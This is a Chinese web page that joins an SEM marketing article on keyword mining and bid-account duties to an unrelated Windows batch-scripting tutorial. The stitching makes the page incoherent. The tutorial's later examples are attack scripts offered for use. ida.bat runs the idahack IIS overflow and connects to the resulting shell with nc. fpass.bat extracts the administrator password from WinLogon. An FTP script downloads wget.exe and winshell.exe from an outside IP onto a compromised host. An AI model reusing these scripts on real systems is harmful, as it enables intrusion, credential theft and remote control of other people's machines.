SEM如何深入挖掘用户痛点

深入挖掘用户搜索需求，不仅仅是对于SEO从业者而言是一个必备的技能，对于sem从业者来说，更是非常重要，由于本人做过SEO和SEM相关的工作，所以对于关键词挖掘这块，同时有着比较深入的理解。

当我们进行百度凤巢系统进行精准营销的时候(注意这里是精准匹配，而非广泛匹配)，我们所匹配到的关键词大部分都是同义词，如我们确立的核心关键词是酒店，这个时候我们匹配出的关键词有：XXX酒店，酒店XXX，XXX酒店预订等相近的词语，那么，如果我们在进行精准营销的时候，关键词挖掘会出现一定的瓶颈，我们需要怎么做来解决这类问题从而尽可能的挖掘能够引发用户痛点的关键词呢?

这个时候，我们可以尝试着从用户需求的初始阶段，来延伸用户可能的基础需求，通过这些基础需求，来拓展我们的关键词聚类。

我们以SEO培训行业为例，如果需要查找对于有SEO需求的客户，我们可以对于客户来源做一个分类，在购买SEO培训产品的用户中，刚毕业有工作需求，或者工作不满半年的从事SEO行业的占据70%的业务量，而且报名的客户咨询转化率非常高，所以我们就把这部分客户作为我们的核心用户群体。

为了了解我们的客户群体，实现一个精准的搜索定位，我们做了一定的调查以及得到了一个绝对性的结论：

1、 大学中专业课成绩不好，谋求一个与专业挂钩，却没那么专业的工作，而与SEO专业相关的恰恰是计算机专业，这个时候我们可以把人群定位进一步缩小到一些大学院校的计算机专业(需求)

2、 应届生和往届生的比例达到5比5

3、 喜欢玩电脑，在寝室中大部分时间都在电脑旁度过(兴趣)

通过这样的分析我们不难看出大部分的客户都是被学业所迫或大学毕业不甘心就这样回老家，不得不找得这样的工作。下面展开具体分析，那些整体打游戏，泡妹子的大学生们，想要找到他们真的比登天还难，而少数能够主动联系我们做培训的简直少之又少，那么他们经常会去的场所有哪些呢：答案是Inetnet。只要他们泡在网络上，而如今对于BAT这么强大的数据分析能力，肯定是跑不掉的。

既然如此那就好办了，下面我们制定具体的计划争取一举拿下这块市场。

为了保证用较低的成本获取较高的产出，简称ROI,我们避免了高成本的百度竞价而选择了成本较低的网盟作为实验场所，其次，我们采取针对性的广告创意，对于着陆的页面进行统计追踪。

一周后的效果显示：平均转化成本，即CPA为8元每个人，而之前的CPA达到了35每人。

既然有效果，那我们可以放心的尽可能的铺开，竞价端也不能放松，竞价毕竟不同于网盟，网盟面对的是整个互联网系统的网页，而竞价只是针对的搜索引擎，对于这帮喜欢打游戏的孩子会主动使用搜索引擎么，这里我们几乎可以不用考虑这个问题，因为我们所能操作的，只要能留住这部分停留在搜索引擎上的客户就可以了，所以，广泛匹配发挥了很大的作用，举个例子，我们可以将LOL SEO培训，作为广泛匹配的词进行投放，最终的效果，也在控制之中。

快速复制这种低成本的用户需求方法，我们迅速扩大了战果，获得了一个很好的收益。

SEM竞价工程师主要就是做搜索引擎营销的工作。通过管理竞价账户，优化关键词，有效提升企业知名度及销售额，通过搜索引擎返回的结果，来获得更好的销售或者推广渠道的工作。具体工作内容有：

一、统计前一天账户效果报表。

这个相对于管理整个账户的朋友来说是必须要做的一个报表，报表包括展现量、平均点击价格、点击量、点击率，整个账户的咨询量，咨询成本。

做这个报表的目的在于与前一天(之前的任何一天)的报表进行对比分析，找出存在的问题，看展现点击各方面有没有比较明显的增长或降低，给自己一个比较明确的账户整体推广效果。

关注账户(项目计划)下线时间，每天账户的预算要控制好，防止提前下线带来不必要的损失。

二、统计前一天推广计划报表负责不同项目可以根据自己管理的计划进行统计。

推广计划报表包括以下数据：各计划的展现量、平均点击价格、点击、咨询、点击率、咨询成本。首先，计划报表可以很明确的看出推广计划的推广效果，每个计划对话量有多少，计划消费了多少钱，咨询成本是否在自己的控制范围内，每日报表做对比分析，消费，展现点击、一目了然。

其次，可以针对新增的临时推广活动有一个参考分析。再次，各计划对整个账户是有密切关系的，各个计划的变化导致整个账户的展现点击咨询的增加或降低，进而推论到整体账户的推广效果，从而对账户统计报表提供可观性的数据。

三、统计前一天关键词报表。

统计展现量多少(匹配有关)，点击有多少，带来的咨询又有多少，这个词的平均每天对话成本。

四、实时监控账户(项目)消费前50重点关键词。

重点关键词排名情况的检查根据不同行业，消费的重点关键词数量可以多或少，20%的关键词消费整个账户的80%的费用，同时这20%关键词带来80%的转化，这就是竞价推广的28定律。时刻关注这些重点词的展现点击转化情况，关键词的质量度，排名的稳定性。

五、关注品牌词的保护。

被竞争对手购买品牌词是再正常不过的啦，所以每天抽出一小部分时间进行品牌词的维护，一经发现竞争对手做自己的品牌词，可以和竞争对手沟通解决或直接向客服投诉，要求有关品牌关键词下线，如果对手还是不肯罢休，只能以其人之道还治其人之身。

六、根据统计工具进行无效搜索词的否定。

导出搜索词报告进行否词。不同的匹配模式会带来不同的搜索词，尤其是广泛匹配模式的关键词，针对的是广泛受众群体，带来的是比较泛的流量，点击访问的针对性不足。

转化率不如精确匹配和短语匹配。所以无效的搜索词必然会比较多，尤其是出现比较多的无效词，我们可以否定。

七、挖掘和拓展新词。

搜索词报告与有效咨询词相结合，找出转化好的关键词，百度下拉框，百度指数、从中挖掘出一些符合搜户习惯的词。

这个根据实际情况不同行业具体问题具体分析，看数据量的大小，医疗行业可以1-2星期做一次拓展，其他竞争没有那么激烈的可以半个月或一个月做一次。

八、分时段关注账户的消费情况。

每个项目的推广每天都有高峰期，实时关注账户的消费情况避免短时间过多消费或者不能消费。与之前同时段的数据作对比，找出消费过高(过低)的计划对应的单元、关键词，检查匹配、排位、有没有问题。

一个热门炒作的关键词出现可能会在短时间触及投放的关键词(或广告创意)带来大流量的冲击，消费过多。

在管理账户过程中不小心的操作导致暂停或删除计划、单元及关键词导致消费不出去关键词(高消费关键词)排位不稳定导致消费问题。

九、分时段关注商务通数据。

关注商务通，可以掌握推广效果，防止恶意点击，带目的性去关注流量走向。

十、关键词质量度，创意优化。

以最低的成本带来最高的投资回报率(ROI)，关键词质量度好，出价就可以相对少点，质量度很大的决定因素就是创意的最好坏，好的创意可以带来好的质量度。

每天可以设定自己的一个目标，优化多少个计划或单元，首先重点优化消费高的重点词，后期一步步优化其他。(微信回复质量度，有质量度优化完全方法)。

高级竞价员每天都做什么？

十一、分析账户计划关键词周(月)报表。

一段时间的推广最能表现出推广效果，周/月报表非常有必要做，做完之后要用心去分析，为一周或一个月的时间里推广做一个总结，找出不足，加以改正；找出优秀的策略，继续保持。

参考资料来源：百度营销学院——高级竞价员每天都做什么

参考资料来源：百度营销学院——竞价推广之SEMer日常工作流程

参考资料来源：百度百科——sem账号管理

1. 所有内置命令的帮助信息

2.环境变量的概念

3. 内置的特殊符号(实际使用中间注意避开)

4. 简单批处理文件概念

5. 附件1 tmp.txt

6. 附件2 sample.bat

########################### ###########################

ver

cmd /?

set /?

rem /?

if /?

echo /?

goto /?

for /?

shift /?

call /?

其他需要的常用命令

type /?

find /?

findstr /?

copy /?

下面将所有上面的帮助输出到一个文件

echo ver >tmp.txt

ver >>tmp.txt

echo cmd /? >>tmp.txt

cmd /? >>tmp.txt

echo rem /? >>tmp.txt

rem /? >>tmp.txt

echo if /? >>tmp.txt

if /? >>tmp.txt

echo goto /? >>tmp.txt

goto /? >>tmp.txt

echo for /? >>tmp.txt

for /? >>tmp.txt

echo shift /? >>tmp.txt

shift /? >>tmp.txt

echo call /? >>tmp.txt

call /? >>tmp.txt

echo type /? >>tmp.txt

type /? >>tmp.txt

echo find /? >>tmp.txt

find /? >>tmp.txt

echo findstr /? >>tmp.txt

findstr /? >>tmp.txt

echo copy /? >>tmp.txt

copy /? >>tmp.txt

type tmp.txt C:\Program Files>set

ALLUSERSPROFILE=C:\Documents and Settings\All Users

CommonProgramFiles=C:\Program Files\Common Files

COMPUTERNAME=FIRST

ComSpec=C:\WINNT\system32\cmd.exe

NUMBER_OF_PROCESSORS=1

OS=Windows_NT

Os2LibPath=C:\WINNT\system32\os2\dll

Path=C:\WINNT\system32C:\WINNTC:\WINNT\system32\WBEM

PATHEXT=.COM.EXE.BAT.CMD.VBS.VBE.JS.JSE.WSF.WSH

PROCESSOR_ARCHITECTURE=x86

PROCESSOR_IDENTIFIER=x86 Family 6 Model 6 Stepping 5, GenuineIntel

PROCESSOR_LEVEL=6

PROCESSOR_REVISION=0605

ProgramFiles=C:\Program Files

PROMPT=$P$G

SystemDrive=C:

SystemRoot=C:\WINNT

TEMP=C:\WINNT\TEMP

TMP=C:\WINNT\TEMP

USERPROFILE=C:\Documents and Settings\Default User

windir=C:\WINNT

path: 表示可执行程序的搜索路径. 我的建议是你把你的程序copy 到

%windir%\system32\. 这个目录里面. 一般就可以自动搜索到.

语法: copy mychenxu.exe %windir%\system32\.

使用点(.) 便于一目了然

对环境变量的引用使用(英文模式,半角)双引号

%windir%变量

%%windir%% 二次变量引用.

我们常用的还有

%temp% 临时文件目录

%windir% 系统目录

%errorlevel% 退出代码

输出文件到临时文件目录里面.这样便于当前目录整洁.

对有空格的参数. 你应该学会使用双引号() 来表示比如对porgram file文件夹操作

C:\>dir p*

C:\ 的目录

2000-09-02 11:47 2,164 PDOS.DEF

1999-01-03 00:47 <DIR>Program Files

1 个文件 2,164字节

1 个目录 1,505,997,824 可用字节

C:\>cd pro*

C:\Program Files>

C:\>

C:\>cd Program Files

C:\Program Files>微软里面内置了下列字符不能够在创建的文件名中间使用

con nul aux \ / | || &&^ ><*

You can use most characters as variable values, including white space. If you use the special characters <, >, |, &, or ^, you must precede them with the escape character (^) or quotation marks. If you use quotation marks, they are included as part of the value because everything following the equal sign is taken as the value. Consider the following examples:

(大意: 要么你使用^作为前导字符表示.或者就只有使用双引号了)

To create the variable value new&name, type:

set varname=new^&name

To create the variable value new&name, type:

set varname=new&name

The ampersand (&), pipe (|), and parentheses ( ) are special characters that must be preceded by the escape character (^) or quotation marks when you pass them as arguments.

find Pacific Rim <trade.txt >nwtrade.txt

IF EXIST filename. (del filename.) ELSE echo filename. missing

>创建一个文件

>>追加到一个文件后面

@ 前缀字符.表示执行时本行在cmd里面不显示, 可以使用 echo off关闭显示

^ 对特殊符号( ><&)的前导字符. 第一个只是显示aaa 第二个输出文件bbb

echo 123456 ^>aaa

echo 1231231 >bbb

() 包含命令

(echo aa &echo bb)

, 和空格一样的缺省分隔符号.

注释,表示后面为注释

: 标号作用

|管道操作

&Usage：第一条命令 &第二条命令 [&第三条命令...]

用这种方法可以同时执行多条命令，而不管命令是否执行成功

dir c:\*.exe &dir d:\*.exe &dir e:\*.exe

&&Usage：第一条命令 &&第二条命令 [&&第三条命令...]

当碰到执行出错的命令后将不执行后面的命令，如果一直没有出错则一直执行完所有命令；

|| Usage：第一条命令 || 第二条命令 [|| 第三条命令...]

当碰到执行正确的命令后将不执行后面的命令，如果没有出现正确的命令则一直执行完所有命令；

常用语法格式

IF [NOT] ERRORLEVEL number command para1 para2

IF [NOT] string1==string2 command para1 para2

IF [NOT] EXIST filename command para1 para2

IF EXIST filename command para1 para2

IF NOT EXIST filename command para1 para2

IF %1== goto END

IF %1==net goto NET

IF NOT %2==net goto OTHER

IF ERRORLEVEL 1 command para1 para2

IF NOT ERRORLEVEL 1 command para1 para2

FOR /L %%i IN (start,step,end) DO command [command-parameters] %%i

FOR /F eol=tokens=2,3* delims=, %i in (myfile.txt) do echo %i %j %k

按照字母顺序 ijklmnopq依次取参数.

eol=c - 指一个行注释字符的结尾(就一个)

skip=n - 指在文件开始时忽略的行数。

delims=xxx - 指分隔符集。这个替换了空格和跳格键的默认分隔符集。 echo This is test >a.txt

type a.txt

echo This is test 11111 >>a.txt

type a.txt

echo This is test 22222 >a.txt

type a.txt

第二个echo是追加

第三个echo将清空a.txt 重新创建 a.txt

netstat -n | find 3389

这个将要列出所有连接3389的用户的ip.

________________test.bat______

@echo please care

echo plese care 1111

echo plese care 2222

echo plese care 3333

@echo please care

@echo plese care 1111

@echo plese care 2222

@echo plese care 3333

rem 不显示注释语句,本行显示

@rem 不显示注释语句,本行不显示

@if exist %windir%\system32\find.exe(echo Find find.exe !!!) else (echo ERROR: Not find find.exe)

@if exist %windir%\system32\fina.exe (echo Find fina.exe !!!) else (echo ERROR: Not find fina.exe)

_____________________________

下面我们以具体的一个idahack程序就是ida远程溢出为例子.应该是很简单的.

___________________ida.bat_____

@rem ver 1.0

@if NOT exist %windir%\system32\idahack.exe echo ERROR: dont find idahack.exe

@if NOT exist %windir%\system32\nc.exe echo ERROR: dont find nc.exe

@if %1 == goto USAGE

@if NOT %2 == goto SP2

:start

@echo Now start ...

@ping %1

@echo chinese win2k:1 sp1:2 sp2:3

idahack.exe %1 80 1 99 >%temp%\_tmp

@echo prog exit code [%errorlevel%] idahack.exe

@type %temp%\_tmp

@find good luck :) %temp%\_tmp

@echo prog exit code [%errorlevel%] find [goog luck]

@if NOT errorlevel 1 nc.exe %1 99

@goto END

:SP2

@idahack.exe %1 80 %2 99 %temp%\_tmp

@type %temp%\_tmp

@find good luck :) %temp%\_tmp

@if NOT errorlevel 1 nc.exe %1 99

@goto END

:USAGE

@echo Example: ida.batIP

@echo Example: ida.batIP (2,3)

:END

_____________________ida.bat__END_______

下面我们再来第二个文件.就是得到administrator的口令.

大多数人说得不到.其实是自己的没有输入正确的信息.

___________________________fpass.bat____________________________________________

@rem ver 1.0

@if NOT exist %windir%\system32\findpass.exe echo ERROR: dont find findpass.exe

@if NOT exist %windir%\system32\pulist.exe echo ERROR: dont find pulist.exe

@echo start....

@echo ____________________________________

@if %1== goto USAGE

@findpass.exe %1 %2 %3 >>%temp%\_findpass.txt

@echo prog exit code [%errorlevel%] findpass.exe

@type %temp%\_findpass.txt

@echo ________________________________Here__pass★★★★★★★★

@ipconfig /all >>%temp%\_findpass.txt

@goto END

:USAGE

@pulist.exe >%temp%\_pass.txt

@findstr.exe /i WINLOGON explorer internat %temp%\_pass.txt

@echo Example: fpass.bat%1 %2 %3 %4 !!!

@echo Usage: findpass.exe DomainName UserName PID-of-WinLogon

:END

@echo fpass.bat%COMPUTERNAME% %USERNAME% administrator

@echo fpass.batend [%errorlevel%] !

_________________fpass.bat___END___________________________________________________________

还有一个就是已经通过telnet登陆了一个远程主机.怎样上传文件(win)

依次在窗口输入下面的东西. 当然了也可以全部拷贝.Ctrl+V过去. 然后就等待吧!!

echo open 210.64.x.4 3396>w

echo read>>w

echo read>>w

echo cd winnt>>w

echo binary>>w

echo pwd >>w

echo get wget.exe >>w

echo get winshell.exe >>w

echo get any.exe >>w

echo quit >>w

ftp -s:w

___________________________________________________________

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